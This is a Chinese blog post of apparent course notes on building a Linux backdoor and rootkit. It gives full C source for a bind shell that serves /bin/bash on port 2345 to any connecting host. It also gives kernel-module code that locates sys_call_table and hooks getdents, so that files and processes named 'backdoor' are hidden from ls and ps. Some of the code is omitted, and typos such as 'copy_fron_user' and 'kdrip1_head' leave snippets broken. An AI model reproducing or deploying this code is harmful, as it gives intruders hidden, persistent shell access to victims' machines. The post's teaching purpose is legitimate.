backdoor+rootkit笔记

1、在受害主机上开启一个端口,并等待其它主机连接,连接后打开一个shell

server一般打开端口,被动侦听,不需要知道客户端的IP和端口;而client发起请求,必须知道服务器端的IP和端口。

#include<stdio.h>
#include<unistd.h>
#include<netinet/in.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<string.h>
int main(){

    int listenfd, connfd;
    struct sockaddr_in servaddr,cliaddr;
    char buff[1024];
    int clilen;    
    int n;

    listenfd = socket(AF_INET,SOCK_STREAM,0); //创建一个流套接字
    bzero(&servaddr,sizeof(servaddr));
    servaddr.sin_family = AF_INET;
    servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
    servaddr.sin_port = htons(2345);

    if(bind(listenfd,(struct sockaddr *)&servaddr,sizeof(servaddr))<0)//将地址和端口绑定到socket上
        printf("bind error!\n");    

    listen(listenfd,10);       //侦听该socket是否有其它套接字接入
    clilen = sizeof(cliaddr);
    printf("serverfd is %d, connfd is %d.\n",listenfd,connfd);
    while(1){
        connfd = accept(listenfd,(struct sockaddr *)&cliaddr,&clilen); //侦听到一个连接
        send(connfd,"Welcome to Server!\n",19,0);  //向该连接另一端发送数据

        dup2(connfd,0);        //向连接复制文件内容
        dup2(connfd,1);
        dup2(connfd,2);
        execlp("/bin/bash","/bin/bash",NULL);  //执行命令行,生成一个新的shell

    }
    close(connfd);    //关闭连接
    close(listenfd);   //关闭侦听文件
}

Linux的文件描述符中有三个是特殊的,任何进程都一样的,0、1、2,分别代表标准输入,标准输出和标准出错,而它们都指向同一个tty(teleType,终端)。

PS: 以上使用均为用户态API,通过gcc生成执行代码。

 

2、rootkit之ls命令的偷梁换柱

1)寻找系统调用

$ strace ls

strace的最简单的用法就是执行一个指定的命令,在指定的命令结束之后它也就退出了。在命令执行的过程中,strace会记录和解析命令进程的所有系统调用以及这个进程所接收到的所有的信号值。

可以看到,ls命令中会执行一个叫做getdents的系统调用,我们的目的就是用自己的getdents替换原来的getdents系统调用。

 

2)编写自己的getdents函数

该部分代码参照参考文章给出的代码,我只重点记录自己遇到的麻烦。

long (*old_getdents)(unsigned int fd, struct linux_dirent __user *dirp,
                    unsigned int count); //原getdents函数引用,其作用是获取dirp指针指向的文件长度或者是指向的目录下所有文件的总长度

$ man getdents

通过man命令查询getdents函数,里面给出了linux_dirent的结构体描述:其中,我们重点关注d->reclen和d->name,它们分别代表文件总长和文件名。

而数据类型被__user修饰,它要求该指针变量应该指向用户空间的内存,若对该参数传递的是kernel空间的指针,则对应的函数将返回失败。

dirp就是指向用户控件的指针。

自定义的getdents主要功能是对来自用户态的dirp指向的数据进行过滤,当其指向的文件的名称是backdoor的名称时,就删除该文件数据。

但是,在内核态处理用户态的数据,将会引发系统的崩溃,因此,需先将用户态的数据复制到内核态,在内核态进行必要的过滤处理,再将结果拷贝回用户态。

需要使用copy_fron_user和copy_to_user函数(<linux/uaccess.h>给出)。

struct linux_dirent * kdirp1, *kdirp2, *kdirp1_head, *kdirp2_head;
int raw_len = 0; 
int copy_len = 0;
raw_len = (*old_getdents)(fd,drip,count);   //获取原始用户态dirp指向数据的总长

kdirp1 = (struct linux_dirent*) kmalloc(raw_len, GFP_KERNEL); //kdirp1存放过滤结果
kdirp2 = (struct linux_dirent*) kmalloc(raw_len, GFP_KERNEL); //kdirp2存放用户态复制的数据
kdirp1_head = kdirp1;
kdirp2_head = kdirp2;

copy_from_user(kdirp2_head, dirp, raw_len);
/*......中间部分省略......*/
copy_to_user(dirt, kdirp1_head, copy_len);

kfree(kdrip1_head);
kfree(kdrip2_head);

在内核态申请两个和用户态同等大小的kernel空间,分别由kdirp1和kdirp2指向。

分配空间和释放空间必须对等出现,kmalloc和kfree由<linux/slab.h>给出。

重点来了!!!千万记得,代码中有一个赋值操作

kdirp1_head = kdirp1;
kdirp2_head = kdirp2;

这是因为在过滤的过程中,指针kdirp1和kdirp2一直在不停的向后移动,而kdirp1_head和kdirp2_head则始终指向分配空间的起始位置。

在释放空间时,千万千万千万千万千万千万千万千万千万千万千万千万千万千万千万千万千万千万千万千万千万千万一定要释放由kdirp_head指向的空间起始位置,若不慎将代码写为kfree(kdirp1(or kdirp2)),将导致系统崩溃。(其实没注意这点也没什么大不了的,我也就是在调试的过程中重启了50次电脑而已嘛

 

3)将系统调用替换成my_getdents

其中重点是获取sys_call_table的位置。64位系统的处理例程system_call加载到LSTAR MSR中,使用rdmsrl(MSR_LSTAR, lstar)函数将system_call的函数地址拷贝到lstar,再从该首地址开始在一定范围内搜索call指令的汇编代码,其后面所跟的就是sct的首地址,x86_64 call指令的二进制格式为\xff\x14\xc5。

static unsigned long ** sys_call_table;

void *get_lstar_sct_addr(void)
{
    u64 lstar;
    u64 index;
    rdmsrl(MSR_LSTAR, lstar);
    for (index = 0; index <= PAGE_SIZE; index += 1) {
        u8 *arr = (u8 *)lstar + index;

        if (arr[0] == 0xff && arr[1] == 0x14 && arr[2] == 0xc5) {
            return arr + 3;
        }
    }
    return NULL;
}

unsigned long **get_lstar_sct(void)
{
    unsigned long *lstar_sct_addr = get_lstar_sct_addr();
    if (lstar_sct_addr != NULL) {
        u64 base = 0xffffffff00000000;
        u32 code = *(u32 *)lstar_sct_addr;
        return (void *)(base | code);
    } else {
        return NULL;
    }                                         
}

sys_call_table = get_lstar_sct();

在linux系统中,sct可通过命令查看

$ sudo cat /boot/System.map-4.4.0-21-generic | grep sys_call_table //其中4.4.0-21有变化,取决于自己的电脑

然后在上面的自定义代码获取sct地址可打印比较是否和命令查看的一致

printk("sct's addr is %llx",sys_call_table);

 

3、rootkit之ps命令的偷梁换柱

大致和ls一致,不过由于dirp指向文件的d_name变为进程的id,故需要先找到进程id对应的文件名称,转换成名称后,后续的过滤操作则和ls命令一致。

int check_pid_Name(char *pid_name,int len) {

    int m_flag = 0;
    struct file *fp;
    mm_segment_t fs;
    loff_t pos;
    char *buf1;
    char *t_pid_name;
    char * pro = "/proc/";
    char * statu = "/status";

    buf1 = (char *) kmalloc(64, GFP_KERNEL);
    t_pid_name = (char *) kmalloc(len + 14, GFP_KERNEL);

    memmove(t_pid_name, (char *) pro , 6);
    memmove(t_pid_name + 6, (char *) pid_name , len);
    memmove(t_pid_name + 6 + len, (char *) statu , 7);
    fp = filp_open(t_pid_name,O_RDONLY,0000);
    if (IS_ERR(fp)){
        printk("open file error/n");
        return -1;
    }

    fs = get_fs();
    set_fs(KERNEL_DS);
    pos =0;
    vfs_read(fp, buf1, 64, &pos);
    if (strstr(buf1,"backdoor") == NULL)
    {
        m_flag = 1;
    }
    printk("read: %s/n",buf1);
    filp_close(fp,NULL);
    set_fs(fs);

    kfree(buf1);
    kfree(t_pid_name);
    return m_flag;
}

 其中,vfs_read表示kernel空间文件的读操作,其函数原型为:

ssize_t vfs_read(struct file* filp, char __user* buffer, size_t len, loff_t* pos);

第二个参数有__user修饰,表示要求指向用户空间的内存,但是在Kernel中,我们一般不容易生成用户空间的指针,或者不方便独立使用用户空间内存。要使该读操作即使使用内核空间的内存仍能正常工作,需要使用set_fs()函数或宏。

void set_fs(mm_segment_t fs);

该函数的作用是改变kernel对内存地址检查的处理方式,该函数的参数fs只有两个取值:USER_DS,KERNEL_DS,分别代表用户空间和内核空间,默认情况下,kernel取值为USER_DS,表示对用户空间地址做检查并做变换。改为使用内核空间地址,就需要设置set_fs(KERNEL_DS),表示用内核空间的内存代替用户空间的内存。

 

参考文章: 

信息安全课程14:rootkit(2)

Rootkit-LKM编程劫持系统调用,隐藏后门程序backdoor(ps,ls)

kernel中文件的读写操作可以使用vfs_read()和vfs_write

posted @ 2019-05-04 00:51  thePacer  阅读(216)  评论(0编辑  收藏  举报